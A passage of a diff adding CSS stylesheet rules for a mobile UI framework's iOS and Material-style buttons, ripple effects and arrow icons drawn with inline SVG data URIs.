.button.button-fill, +.ios .color-theme-black .button.button-fill-ios { + background: #000000; + border-color: transparent; +} +.ios .color-theme-black .button.button-small.button-fill.active-state, +.ios .color-theme-black .button.button-small-ios.button-fill.active-state, +.ios .color-theme-black .button.button-small.button-fill-ios.active-state, +.ios .color-theme-black .button.button-small-ios.button-fill-ios.active-state { + color: #000000; + border: 2px solid #000000; + background-color: transparent; +} +.ios .button.color-red { + border-color: #ff3b30; + color: #ff3b30; +} +.ios .button.color-red.active-state { + background: rgba(255, 59, 48, 0.15); +} +.ios .button.color-red.button-active, +.ios .button.color-red.tab-link-active, +.ios .button.color-red.button-fill, +.ios .button.color-red.button-fill-ios { + color: #fff; +} +.ios .button.color-red.button-active, +.ios .button.color-red.tab-link-active { + background: #ff3b30; +} +.ios .button.color-red.button-fill, +.ios .button.color-red.button-fill-ios { + background: #ff3b30; + border-color: transparent; +} +.ios .button.color-red.button-small.button-fill.active-state, +.ios .button.color-red.button-small-ios.button-fill.active-state, +.ios .button.color-red.button-small.button-fill-ios.active-state, +.ios .button.color-red.button-small-ios.button-fill-ios.active-state { + color: #ff3b30; + border: 2px solid #ff3b30; + background-color: transparent; +} +.ios .button.color-green { + border-color: #4cd964; + color: #4cd964; +} +.ios .button.color-green.active-state { + background: rgba(76, 217, 100, 0.15); +} +.ios .button.color-green.button-active, +.ios .button.color-green.tab-link-active, +.ios .button.color-green.button-fill, +.ios .button.color-green.button-fill-ios { + color: #fff; +} +.ios .button.color-green.button-active, +.ios .button.color-green.tab-link-active { + background: #4cd964; +} +.ios .button.color-green.button-fill, +.ios .button.color-green.button-fill-ios { + background: #4cd964; + border-color: transparent; +} +.ios .button.color-green.button-small.button-fill.active-state, +.ios .button.color-green.button-small-ios.button-fill.active-state, +.ios .button.color-green.button-small.button-fill-ios.active-state, +.ios .button.color-green.button-small-ios.button-fill-ios.active-state { + color: #4cd964; + border: 2px solid #4cd964; + background-color: transparent; +} +.ios .button.color-blue { + border-color: #007aff; + color: #007aff; +} +.ios .button.color-blue.active-state { + background: rgba(0, 122, 255, 0.15); +} +.ios .button.color-blue.button-active, +.ios .button.color-blue.tab-link-active, +.ios .button.color-blue.button-fill, +.ios .button.color-blue.button-fill-ios { + color: #fff; +} +.ios .button.color-blue.button-active, +.ios .button.color-blue.tab-link-active { + background: #007aff; +} +.ios .button.color-blue.button-fill, +.ios .button.color-blue.button-fill-ios { + background: #007aff; + border-color: transparent; +} +.ios .button.color-blue.button-small.button-fill.active-state, +.ios .button.color-blue.button-small-ios.button-fill.active-state, +.ios .button.color-blue.button-small.button-fill-ios.active-state, +.ios .button.color-blue.button-small-ios.button-fill-ios.active-state { + color: #007aff; + border: 2px solid #007aff; + background-color: transparent; +} +.ios .button.color-pink { + border-color: #ff2d55; + color: #ff2d55; +} +.ios .button.color-pink.active-state { + background: rgba(255, 45, 85, 0.15); +} +.ios .button.color-pink.button-active, +.ios .button.color-pink.tab-link-active, +.ios .button.color-pink.button-fill, +.ios .button.color-pink.button-fill-ios { + color: #fff; +} +.ios .button.color-pink.button-active, +.ios .button.color-pink.tab-link-active { + background: #ff2d55; +} +.ios .button.color-pink.button-fill, +.ios .button.color-pink.button-fill-ios { + background: #ff2d55; + border-color: transparent; +} +.ios .button.color-pink.button-small.button-fill.active-state, +.ios .button.color-pink.button-small-ios.button-fill.active-state, +.ios .button.color-pink.button-small.button-fill-ios.active-state, +.ios .button.color-pink.button-small-ios.button-fill-ios.active-state { + color: #ff2d55; + border: 2px solid #ff2d55; + background-color: transparent; +} +.ios .button.color-yellow { + border-color: #ffcc00; + color: #ffcc00; +} +.ios .button.color-yellow.active-state { + background: rgba(255, 204, 0, 0.15); +} +.ios .button.color-yellow.button-active, +.ios .button.color-yellow.tab-link-active, +.ios .button.color-yellow.button-fill, +.ios .button.color-yellow.button-fill-ios { + color: #fff; +} +.ios .button.color-yellow.button-active, +.ios .button.color-yellow.tab-link-active { + background: #ffcc00; +} +.ios .button.color-yellow.button-fill, +.ios .button.color-yellow.button-fill-ios { + background: #ffcc00; + border-color: transparent; +} +.ios .button.color-yellow.button-small.button-fill.active-state, +.ios .button.color-yellow.button-small-ios.button-fill.active-state, +.ios .button.color-yellow.button-small.button-fill-ios.active-state, +.ios .button.color-yellow.button-small-ios.button-fill-ios.active-state { + color: #ffcc00; + border: 2px solid #ffcc00; + background-color: transparent; +} +.ios .button.color-orange { + border-color: #ff9500; + color: #ff9500; +} +.ios .button.color-orange.active-state { + background: rgba(255, 149, 0, 0.15); +} +.ios .button.color-orange.button-active, +.ios .button.color-orange.tab-link-active, +.ios .button.color-orange.button-fill, +.ios .button.color-orange.button-fill-ios { + color: #fff; +} +.ios .button.color-orange.button-active, +.ios .button.color-orange.tab-link-active { + background: #ff9500; +} +.ios .button.color-orange.button-fill, +.ios .button.color-orange.button-fill-ios { + background: #ff9500; + border-color: transparent; +} +.ios .button.color-orange.button-small.button-fill.active-state, +.ios .button.color-orange.button-small-ios.button-fill.active-state, +.ios .button.color-orange.button-small.button-fill-ios.active-state, +.ios .button.color-orange.button-small-ios.button-fill-ios.active-state { + color: #ff9500; + border: 2px solid #ff9500; + background-color: transparent; +} +.ios .button.color-gray { + border-color: #8e8e93; + color: #8e8e93; +} +.ios .button.color-gray.active-state { + background: rgba(142, 142, 147, 0.15); +} +.ios .button.color-gray.button-active, +.ios .button.color-gray.tab-link-active, +.ios .button.color-gray.button-fill, +.ios .button.color-gray.button-fill-ios { + color: #fff; +} +.ios .button.color-gray.button-active, +.ios .button.color-gray.tab-link-active { + background: #8e8e93; +} +.ios .button.color-gray.button-fill, +.ios .button.color-gray.button-fill-ios { + background: #8e8e93; + border-color: transparent; +} +.ios .button.color-gray.button-small.button-fill.active-state, +.ios .button.color-gray.button-small-ios.button-fill.active-state, +.ios .button.color-gray.button-small.button-fill-ios.active-state, +.ios .button.color-gray.button-small-ios.button-fill-ios.active-state { + color: #8e8e93; + border: 2px solid #8e8e93; + background-color: transparent; +} +.ios .button.color-white { + border-color: #ffffff; + color: #ffffff; +} +.ios .button.color-white.active-state { + background: rgba(255, 255, 255, 0.15); +} +.ios .button.color-white.button-active, +.ios .button.color-white.tab-link-active, +.ios .button.color-white.button-fill, +.ios .button.color-white.button-fill-ios { + color: #fff; +} +.ios .button.color-white.button-active, +.ios .button.color-white.tab-link-active { + background: #ffffff; +} +.ios .button.color-white.button-fill, +.ios .button.color-white.button-fill-ios { + background: #ffffff; + border-color: transparent; +} +.ios .button.color-white.button-small.button-fill.active-state, +.ios .button.color-white.button-small-ios.button-fill.active-state, +.ios .button.color-white.button-small.button-fill-ios.active-state, +.ios .button.color-white.button-small-ios.button-fill-ios.active-state { + color: #ffffff; + border: 2px solid #ffffff; + background-color: transparent; +} +.ios .button.color-black { + border-color: #000000; + color: #000000; +} +.ios .button.color-black.active-state { + background: rgba(0, 0, 0, 0.15); +} +.ios .button.color-black.button-active, +.ios .button.color-black.tab-link-active, +.ios .button.color-black.button-fill, +.ios .button.color-black.button-fill-ios { + color: #fff; +} +.ios .button.color-black.button-active, +.ios .button.color-black.tab-link-active { + background: #000000; +} +.ios .button.color-black.button-fill, +.ios .button.color-black.button-fill-ios { + background: #000000; + border-color: transparent; +} +.ios .button.color-black.button-small.button-fill.active-state, +.ios .button.color-black.button-small-ios.button-fill.active-state, +.ios .button.color-black.button-small.button-fill-ios.active-state, +.ios .button.color-black.button-small-ios.button-fill-ios.active-state { + color: #000000; + border: 2px solid #000000; + background-color: transparent; +} +.md .button { + color: #2196f3; + border-radius: 4px; + line-height: 36px; + height: 36px; + text-transform: uppercase; + min-width: 64px; + padding: 0 8px; + border: none; + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + font-weight: 500; + letter-spacing: 0.03em; +} +.md .button.active-state { + background: rgba(0, 0, 0, 0.1); +} +.md .button.button-fill, +.md .button.button-fill-md, +.md .button.button-active, +.md .button.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .button.button-fill.active-state, +.md .button.button-fill-md.active-state, +.md .button.button-active.active-state, +.md .button.tab-link-active.active-state { + background: #0c82df; +} +.md .button.button-big, +.md .button.button-big-md { + height: 48px; + line-height: 48px; + border-radius: 4px; +} +.md .button.button-round, +.md .button.button-round-md { + border-radius: 36px; +} +.md .button.button-outline { + border: 2px solid #2196f3; + line-height: 32px; +} +.md .button.button-outline.button-big, +.md .button.button-outline.button-big-md { + line-height: 44px; +} +.md .button.button-small, +.md .button.button-small-md { + height: 28px; + line-height: 28px; + font-size: 13px; + font-weight: 500; + letter-spacing: 0.03em; +} +.md .button.button-small.button-outline, +.md .button.button-small-md.button-outline { + border-width: 2px; + line-height: 24px; +} +.md .button > i.icon + span, +.md .button > span:not(.ripple-wave) + span, +.md .button > span:not(.ripple-wave) + i.icon, +.md .button > i.icon + i.icon { + margin-left: 8px; +} +.md .button.button-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .button.button-raised.active-state { + -webkit-box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); + box-shadow: 0 3px 6px rgba(0, 0, 0, 0.16), 0 3px 6px rgba(0, 0, 0, 0.23); +} +.md .navbar .button:not(.button-fill):not(.button-fill-md), +.md .subnavbar .button:not(.button-fill):not(.button-fill-md), +.md .toolbar .button:not(.button-fill):not(.button-fill-md) { + color: #fff; +} +.md .navbar .button:not(.button-fill):not(.button-fill-md).active-state, +.md .subnavbar .button:not(.button-fill):not(.button-fill-md).active-state, +.md .toolbar .button:not(.button-fill):not(.button-fill-md).active-state { + background: rgba(255, 255, 255, 0.15); +} +.md .toast .button:not(.button-fill):not(.button-fill-md).active-state { + background: rgba(255, 255, 255, 0.15); +} +.md .segmented { + border-radius: 4px; +} +.md .segmented.segmented-raised { + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .segmented.segmented-round { + border-radius: 36px; +} +.md .segmented .button { + border-radius: 0; + min-width: 0; + border-left: 1px solid rgba(0, 0, 0, 0.1); +} +.md .segmented .button:first-child { + border-radius: 4px 0 0 4px; + border-left: none; +} +.md .segmented .button.button-outline { + border: 2px solid #2196f3; +} +.md .segmented .button.button-outline:nth-child(n + 2) { + border-left: none; +} +.md .segmented .button:last-child { + border-radius: 0 4px 4px 0; +} +.md .segmented .button:first-child:last-child { + border-radius: 4px; +} +.md .segmented .button.button-round:first-child { + border-radius: 36px 0 0 36px; +} +.md .segmented .button.button-round:last-child { + border-radius: 0 36px 36px 0; +} +.md .theme-dark .button:not(.button-fill):not(.button-fill-md):not(.button-active):not(.tab-link-active).active-state { + background-color: rgba(255, 255, 255, 0.1); +} +.md .color-theme-red .button, +.md .color-red .button { + color: #f44336; +} +.md .color-theme-red .button.button-fill, +.md .color-red .button.button-fill, +.md .color-theme-red .button.button-fill-md, +.md .color-red .button.button-fill-md, +.md .color-theme-red .button.button-active, +.md .color-red .button.button-active, +.md .color-theme-red .button.tab-link-active, +.md .color-red .button.tab-link-active { + background-color: #f44336; + color: #fff; +} +.md .color-theme-red .button.button-fill.active-state, +.md .color-red .button.button-fill.active-state, +.md .color-theme-red .button.button-fill-md.active-state, +.md .color-red .button.button-fill-md.active-state, +.md .color-theme-red .button.button-active.active-state, +.md .color-red .button.button-active.active-state, +.md .color-theme-red .button.tab-link-active.active-state, +.md .color-red .button.tab-link-active.active-state { + background: #f21f0f; +} +.md .color-theme-red .button.button-outline, +.md .color-red .button.button-outline { + border-color: #f44336; +} +.md .color-theme-green .button, +.md .color-green .button { + color: #4caf50; +} +.md .color-theme-green .button.button-fill, +.md .color-green .button.button-fill, +.md .color-theme-green .button.button-fill-md, +.md .color-green .button.button-fill-md, +.md .color-theme-green .button.button-active, +.md .color-green .button.button-active, +.md .color-theme-green .button.tab-link-active, +.md .color-green .button.tab-link-active { + background-color: #4caf50; + color: #fff; +} +.md .color-theme-green .button.button-fill.active-state, +.md .color-green .button.button-fill.active-state, +.md .color-theme-green .button.button-fill-md.active-state, +.md .color-green .button.button-fill-md.active-state, +.md .color-theme-green .button.button-active.active-state, +.md .color-green .button.button-active.active-state, +.md .color-theme-green .button.tab-link-active.active-state, +.md .color-green .button.tab-link-active.active-state { + background: #409343; +} +.md .color-theme-green .button.button-outline, +.md .color-green .button.button-outline { + border-color: #4caf50; +} +.md .color-theme-blue .button, +.md .color-blue .button { + color: #2196f3; +} +.md .color-theme-blue .button.button-fill, +.md .color-blue .button.button-fill, +.md .color-theme-blue .button.button-fill-md, +.md .color-blue .button.button-fill-md, +.md .color-theme-blue .button.button-active, +.md .color-blue .button.button-active, +.md .color-theme-blue .button.tab-link-active, +.md .color-blue .button.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .color-theme-blue .button.button-fill.active-state, +.md .color-blue .button.button-fill.active-state, +.md .color-theme-blue .button.button-fill-md.active-state, +.md .color-blue .button.button-fill-md.active-state, +.md .color-theme-blue .button.button-active.active-state, +.md .color-blue .button.button-active.active-state, +.md .color-theme-blue .button.tab-link-active.active-state, +.md .color-blue .button.tab-link-active.active-state { + background: #0c82df; +} +.md .color-theme-blue .button.button-outline, +.md .color-blue .button.button-outline { + border-color: #2196f3; +} +.md .color-theme-pink .button, +.md .color-pink .button { + color: #e91e63; +} +.md .color-theme-pink .button.button-fill, +.md .color-pink .button.button-fill, +.md .color-theme-pink .button.button-fill-md, +.md .color-pink .button.button-fill-md, +.md .color-theme-pink .button.button-active, +.md .color-pink .button.button-active, +.md .color-theme-pink .button.tab-link-active, +.md .color-pink .button.tab-link-active { + background-color: #e91e63; + color: #fff; +} +.md .color-theme-pink .button.button-fill.active-state, +.md .color-pink .button.button-fill.active-state, +.md .color-theme-pink .button.button-fill-md.active-state, +.md .color-pink .button.button-fill-md.active-state, +.md .color-theme-pink .button.button-active.active-state, +.md .color-pink .button.button-active.active-state, +.md .color-theme-pink .button.tab-link-active.active-state, +.md .color-pink .button.tab-link-active.active-state { + background: #ca1452; +} +.md .color-theme-pink .button.button-outline, +.md .color-pink .button.button-outline { + border-color: #e91e63; +} +.md .color-theme-yellow .button, +.md .color-yellow .button { + color: #ffeb3b; +} +.md .color-theme-yellow .button.button-fill, +.md .color-yellow .button.button-fill, +.md .color-theme-yellow .button.button-fill-md, +.md .color-yellow .button.button-fill-md, +.md .color-theme-yellow .button.button-active, +.md .color-yellow .button.button-active, +.md .color-theme-yellow .button.tab-link-active, +.md .color-yellow .button.tab-link-active { + background-color: #ffeb3b; + color: #fff; +} +.md .color-theme-yellow .button.button-fill.active-state, +.md .color-yellow .button.button-fill.active-state, +.md .color-theme-yellow .button.button-fill-md.active-state, +.md .color-yellow .button.button-fill-md.active-state, +.md .color-theme-yellow .button.button-active.active-state, +.md .color-yellow .button.button-active.active-state, +.md .color-theme-yellow .button.tab-link-active.active-state, +.md .color-yellow .button.tab-link-active.active-state { + background: #ffe712; +} +.md .color-theme-yellow .button.button-outline, +.md .color-yellow .button.button-outline { + border-color: #ffeb3b; +} +.md .color-theme-orange .button, +.md .color-orange .button { + color: #ff9800; +} +.md .color-theme-orange .button.button-fill, +.md .color-orange .button.button-fill, +.md .color-theme-orange .button.button-fill-md, +.md .color-orange .button.button-fill-md, +.md .color-theme-orange .button.button-active, +.md .color-orange .button.button-active, +.md .color-theme-orange .button.tab-link-active, +.md .color-orange .button.tab-link-active { + background-color: #ff9800; + color: #fff; +} +.md .color-theme-orange .button.button-fill.active-state, +.md .color-orange .button.button-fill.active-state, +.md .color-theme-orange .button.button-fill-md.active-state, +.md .color-orange .button.button-fill-md.active-state, +.md .color-theme-orange .button.button-active.active-state, +.md .color-orange .button.button-active.active-state, +.md .color-theme-orange .button.tab-link-active.active-state, +.md .color-orange .button.tab-link-active.active-state { + background: #d68000; +} +.md .color-theme-orange .button.button-outline, +.md .color-orange .button.button-outline { + border-color: #ff9800; +} +.md .color-theme-gray .button, +.md .color-gray .button { + color: #9e9e9e; +} +.md .color-theme-gray .button.button-fill, +.md .color-gray .button.button-fill, +.md .color-theme-gray .button.button-fill-md, +.md .color-gray .button.button-fill-md, +.md .color-theme-gray .button.button-active, +.md .color-gray .button.button-active, +.md .color-theme-gray .button.tab-link-active, +.md .color-gray .button.tab-link-active { + background-color: #9e9e9e; + color: #fff; +} +.md .color-theme-gray .button.button-fill.active-state, +.md .color-gray .button.button-fill.active-state, +.md .color-theme-gray .button.button-fill-md.active-state, +.md .color-gray .button.button-fill-md.active-state, +.md .color-theme-gray .button.button-active.active-state, +.md .color-gray .button.button-active.active-state, +.md .color-theme-gray .button.tab-link-active.active-state, +.md .color-gray .button.tab-link-active.active-state { + background: #8a8a8a; +} +.md .color-theme-gray .button.button-outline, +.md .color-gray .button.button-outline { + border-color: #9e9e9e; +} +.md .color-theme-white .button, +.md .color-white .button { + color: #ffffff; +} +.md .color-theme-white .button.button-fill, +.md .color-white .button.button-fill, +.md .color-theme-white .button.button-fill-md, +.md .color-white .button.button-fill-md, +.md .color-theme-white .button.button-active, +.md .color-white .button.button-active, +.md .color-theme-white .button.tab-link-active, +.md .color-white .button.tab-link-active { + background-color: #ffffff; + color: #fff; +} +.md .color-theme-white .button.button-fill.active-state, +.md .color-white .button.button-fill.active-state, +.md .color-theme-white .button.button-fill-md.active-state, +.md .color-white .button.button-fill-md.active-state, +.md .color-theme-white .button.button-active.active-state, +.md .color-white .button.button-active.active-state, +.md .color-theme-white .button.tab-link-active.active-state, +.md .color-white .button.tab-link-active.active-state { + background: #ebebeb; +} +.md .color-theme-white .button.button-outline, +.md .color-white .button.button-outline { + border-color: #ffffff; +} +.md .color-theme-black .button, +.md .color-black .button { + color: #000000; +} +.md .color-theme-black .button.button-fill, +.md .color-black .button.button-fill, +.md .color-theme-black .button.button-fill-md, +.md .color-black .button.button-fill-md, +.md .color-theme-black .button.button-active, +.md .color-black .button.button-active, +.md .color-theme-black .button.tab-link-active, +.md .color-black .button.tab-link-active { + background-color: #000000; + color: #fff; +} +.md .color-theme-black .button.button-fill.active-state, +.md .color-black .button.button-fill.active-state, +.md .color-theme-black .button.button-fill-md.active-state, +.md .color-black .button.button-fill-md.active-state, +.md .color-theme-black .button.button-active.active-state, +.md .color-black .button.button-active.active-state, +.md .color-theme-black .button.tab-link-active.active-state, +.md .color-black .button.tab-link-active.active-state { + background: #000000; +} +.md .color-theme-black .button.button-outline, +.md .color-black .button.button-outline { + border-color: #000000; +} +.md .button.color-red { + color: #f44336; +} +.md .button.color-red.button-fill, +.md .button.color-red.button-fill-md, +.md .button.color-red.button-active, +.md .button.color-red.tab-link-active { + background-color: #f44336; + color: #fff; +} +.md .button.color-red.button-fill.active-state, +.md .button.color-red.button-fill-md.active-state, +.md .button.color-red.button-active.active-state, +.md .button.color-red.tab-link-active.active-state { + background: #f21f0f; +} +.md .button.color-red.button-outline { + border-color: #f44336; +} +.md .button.color-green { + color: #4caf50; +} +.md .button.color-green.button-fill, +.md .button.color-green.button-fill-md, +.md .button.color-green.button-active, +.md .button.color-green.tab-link-active { + background-color: #4caf50; + color: #fff; +} +.md .button.color-green.button-fill.active-state, +.md .button.color-green.button-fill-md.active-state, +.md .button.color-green.button-active.active-state, +.md .button.color-green.tab-link-active.active-state { + background: #409343; +} +.md .button.color-green.button-outline { + border-color: #4caf50; +} +.md .button.color-blue { + color: #2196f3; +} +.md .button.color-blue.button-fill, +.md .button.color-blue.button-fill-md, +.md .button.color-blue.button-active, +.md .button.color-blue.tab-link-active { + background-color: #2196f3; + color: #fff; +} +.md .button.color-blue.button-fill.active-state, +.md .button.color-blue.button-fill-md.active-state, +.md .button.color-blue.button-active.active-state, +.md .button.color-blue.tab-link-active.active-state { + background: #0c82df; +} +.md .button.color-blue.button-outline { + border-color: #2196f3; +} +.md .button.color-pink { + color: #e91e63; +} +.md .button.color-pink.button-fill, +.md .button.color-pink.button-fill-md, +.md .button.color-pink.button-active, +.md .button.color-pink.tab-link-active { + background-color: #e91e63; + color: #fff; +} +.md .button.color-pink.button-fill.active-state, +.md .button.color-pink.button-fill-md.active-state, +.md .button.color-pink.button-active.active-state, +.md .button.color-pink.tab-link-active.active-state { + background: #ca1452; +} +.md .button.color-pink.button-outline { + border-color: #e91e63; +} +.md .button.color-yellow { + color: #ffeb3b; +} +.md .button.color-yellow.button-fill, +.md .button.color-yellow.button-fill-md, +.md .button.color-yellow.button-active, +.md .button.color-yellow.tab-link-active { + background-color: #ffeb3b; + color: #fff; +} +.md .button.color-yellow.button-fill.active-state, +.md .button.color-yellow.button-fill-md.active-state, +.md .button.color-yellow.button-active.active-state, +.md .button.color-yellow.tab-link-active.active-state { + background: #ffe712; +} +.md .button.color-yellow.button-outline { + border-color: #ffeb3b; +} +.md .button.color-orange { + color: #ff9800; +} +.md .button.color-orange.button-fill, +.md .button.color-orange.button-fill-md, +.md .button.color-orange.button-active, +.md .button.color-orange.tab-link-active { + background-color: #ff9800; + color: #fff; +} +.md .button.color-orange.button-fill.active-state, +.md .button.color-orange.button-fill-md.active-state, +.md .button.color-orange.button-active.active-state, +.md .button.color-orange.tab-link-active.active-state { + background: #d68000; +} +.md .button.color-orange.button-outline { + border-color: #ff9800; +} +.md .button.color-gray { + color: #9e9e9e; +} +.md .button.color-gray.button-fill, +.md .button.color-gray.button-fill-md, +.md .button.color-gray.button-active, +.md .button.color-gray.tab-link-active { + background-color: #9e9e9e; + color: #fff; +} +.md .button.color-gray.button-fill.active-state, +.md .button.color-gray.button-fill-md.active-state, +.md .button.color-gray.button-active.active-state, +.md .button.color-gray.tab-link-active.active-state { + background: #8a8a8a; +} +.md .button.color-gray.button-outline { + border-color: #9e9e9e; +} +.md .button.color-white { + color: #ffffff; +} +.md .button.color-white.button-fill, +.md .button.color-white.button-fill-md, +.md .button.color-white.button-active, +.md .button.color-white.tab-link-active { + background-color: #ffffff; + color: #fff; +} +.md .button.color-white.button-fill.active-state, +.md .button.color-white.button-fill-md.active-state, +.md .button.color-white.button-active.active-state, +.md .button.color-white.tab-link-active.active-state { + background: #ebebeb; +} +.md .button.color-white.button-outline { + border-color: #ffffff; +} +.md .button.color-black { + color: #000000; +} +.md .button.color-black.button-fill, +.md .button.color-black.button-fill-md, +.md .button.color-black.button-active, +.md .button.color-black.tab-link-active { + background-color: #000000; + color: #fff; +} +.md .button.color-black.button-fill.active-state, +.md .button.color-black.button-fill-md.active-state, +.md .button.color-black.button-active.active-state, +.md .button.color-black.tab-link-active.active-state { + background: #000000; +} +.md .button.color-black.button-outline { + border-color: #000000; +} +/* === Touch Ripple === */ +.md .ripple, +.md .fab a, +.md a.link, +.md a.item-link, +.md .button, +.md .dialog-button, +.md .tab-link, +.md .radio, +.md .checkbox, +.md .actions-button, +.md .speed-dial-buttons a { + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +.md .ripple-wave { + left: 0; + top: 0; + position: absolute !important; + border-radius: 50%; + pointer-events: none; + z-index: -1; + background: rgba(0, 0, 0, 0.1); + padding: 0; + margin: 0; + font-size: 0; + -webkit-transform: translate3d(0px, 0px, 0) scale(0); + transform: translate3d(0px, 0px, 0) scale(0); + -webkit-transition-duration: 1400ms; + transition-duration: 1400ms; +} +.md .ripple-wave.ripple-wave-fill { + -webkit-transition-duration: 300ms; + transition-duration: 300ms; + opacity: 0.35; +} +.md .ripple-wave.ripple-wave-out { + -webkit-transition-duration: 600ms; + transition-duration: 600ms; + opacity: 0; +} +.button-fill .md .ripple-wave, +.picker-calendar-day .md .ripple-wave { + z-index: 1; +} +.md .button-fill .ripple-wave, +.md .button-active .ripple-wave, +.md .navbar .ripple-wave, +.md .toolbar .ripple-wave, +.md .subnavbar .ripple-wave, +.md .toast .ripple-wave, +.md .fab a .ripple-wave, +.md .stepper-fill .ripple-wave { + background: rgba(255, 255, 255, 0.3); +} +.md .messagebar .ripple-wave, +.md .searchbar .ripple-wave { + background: rgba(0, 0, 0, 0.1); +} +.md .data-table .sortable-cell .ripple-wave { + z-index: 0; +} +.md .checkbox .ripple-wave, +.md .radio .ripple-wave { + background: rgba(33, 150, 243, 0.5); + z-index: 0; +} +.md .theme-dark .page-content .ripple-wave, +.md .theme-dark .messagebar .ripple-wave, +.md .theme-dark .popover .ripple-wave, +.md .theme-dark .calendar .ripple-wave, +.calendar.md .theme-dark .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .ripple-color-red .ripple-wave, +.md .ripple-red .ripple-wave { + background-color: rgba(244, 67, 54, 0.3); +} +.md .ripple-color-green .ripple-wave, +.md .ripple-green .ripple-wave { + background-color: rgba(76, 175, 80, 0.3); +} +.md .ripple-color-blue .ripple-wave, +.md .ripple-blue .ripple-wave { + background-color: rgba(33, 150, 243, 0.3); +} +.md .ripple-color-pink .ripple-wave, +.md .ripple-pink .ripple-wave { + background-color: rgba(233, 30, 99, 0.3); +} +.md .ripple-color-yellow .ripple-wave, +.md .ripple-yellow .ripple-wave { + background-color: rgba(255, 235, 59, 0.3); +} +.md .ripple-color-orange .ripple-wave, +.md .ripple-orange .ripple-wave { + background-color: rgba(255, 152, 0, 0.3); +} +.md .ripple-color-gray .ripple-wave, +.md .ripple-gray .ripple-wave { + background-color: rgba(158, 158, 158, 0.3); +} +.md .ripple-color-white .ripple-wave, +.md .ripple-white .ripple-wave { + background-color: rgba(255, 255, 255, 0.3); +} +.md .ripple-color-black .ripple-wave, +.md .ripple-black .ripple-wave { + background-color: rgba(0, 0, 0, 0.3); +} +/* === Icon === */ +i.icon { + display: inline-block; + vertical-align: middle; + background-size: 100% auto; + background-position: center; + background-repeat: no-repeat; + font-style: normal; + position: relative; +} +.ios .icon-back, +.ios .icon-prev { + width: 12px; + height: 20px; +} +.ios .icon-forward, +.ios .icon-next { + width: 12px; + height: 20px; +} +.ios .icon-next, +.ios .icon-prev { + width: 10px; +} +.ios .icon-back, +.ios .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .icon-forward, +.ios .icon-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M11.51840604%2010.5648622c-.0352203.05148305-.07573462.10050698-.1215468.14631917L2.5584348%2019.5496058c-.5830904.58309038-1.52656832.5849888-2.11643872-.00488163-.5857864-.58578644-.591222-1.53009836-.0048816-2.11643873L7.87507783%209.9903221.4431923%202.5584366C-.1398981%201.9753462-.1417965%201.0318683.448074.4419979c.5857864-.5857865%201.5300983-.591222%202.11643868-.0048816l8.83842442%208.8384244c.3526746.3526746.3939974.89699.11546894%201.2893215z'%20fill%3D'%23007aff'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .navbar .f7-icons, +.ios .toolbar .f7-icons { + font-size: 22px; +} +.ios .tabbar .f7-icons, +.ios .tabbar-labels .f7-icons { + font-size: 25px; +} +.ios .item-media .f7-icons { + font-size: 25px; + width: 29px; + height: 29px; +} +.ios .button .f7-icons { + font-size: 22px; +} +.ios .item-media .icon { + color: #808080; +} +.ios .color-theme-red .icon-back, +.ios .icon-back.color-red, +.ios a.link.color-red .icon-back, +.ios .color-theme-red .icon-prev, +.ios .icon-prev.color-red, +.ios a.link.color-red .icon-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'12'%20height%3D'20'%20viewBox%3D'0%200%2012%2020'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M.18261596%209.4221638c.0352203-.05148305.07573462-.10050698.1215468-.14631917L9.1425872.4374202c.5830904-.58309038%201.52656832-.5849888%202.11643872.00488163.5857864.58578644.591222%201.53009836.0048816%202.11643873L3.82594417%209.9967039l7.43188553%207.4318855c.5830904.5830904.5849888%201.5265683-.0048817%202.1164387-.5857864.5857865-1.5300983.591222-2.11643868.0048816L.2980849%2010.7114853c-.3526746-.3526746-.3939974-.89699-.11546894-1.2893215z'%20fill%3D'%23ff3b30'%20fill-rule%3D'evenodd'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-theme-red .icon-forward, +.ios .icon-forward.color-red, +.ios a.link.color-red .icon-forward, +.ios .color-theme-red .icon-next, +.ios .icon-next.color-red, +.ios a.link.color-red .icon-next { + background-image: 